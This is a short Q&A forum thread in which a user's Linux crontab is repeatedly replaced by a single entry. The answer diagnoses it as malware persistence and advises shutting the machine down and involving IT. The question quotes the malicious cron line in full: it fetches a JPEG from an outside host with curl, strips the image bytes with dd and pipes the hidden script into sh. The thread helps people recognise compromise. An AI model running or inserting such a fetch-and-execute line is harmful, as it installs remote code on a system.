Q:

Crontab Entries in Linux Server getting deleted automatically everyday

Crontab Entries in my Linux is getting deleted everyday. I added the entries and on the next day when I check all I could find is:
*/60 * * * * curl https://ooo.0o0.ooo/2017/01/21/58837a6d11262.jpg -k|dd skip=3458 bs=1|sh

Same time the crontab entries in root user is still there. 

A:

A crontab entry which downloads a shell script (disguised in a JPEG no less) and runs it strongly suggests your system's been compromised. You should switch the affected computer off and ask your IT team what to do with it.
(The compromission would explain your disappearing crontab entries — presumably whatever malware you're inadvertently hosting rewrites the crontab.)

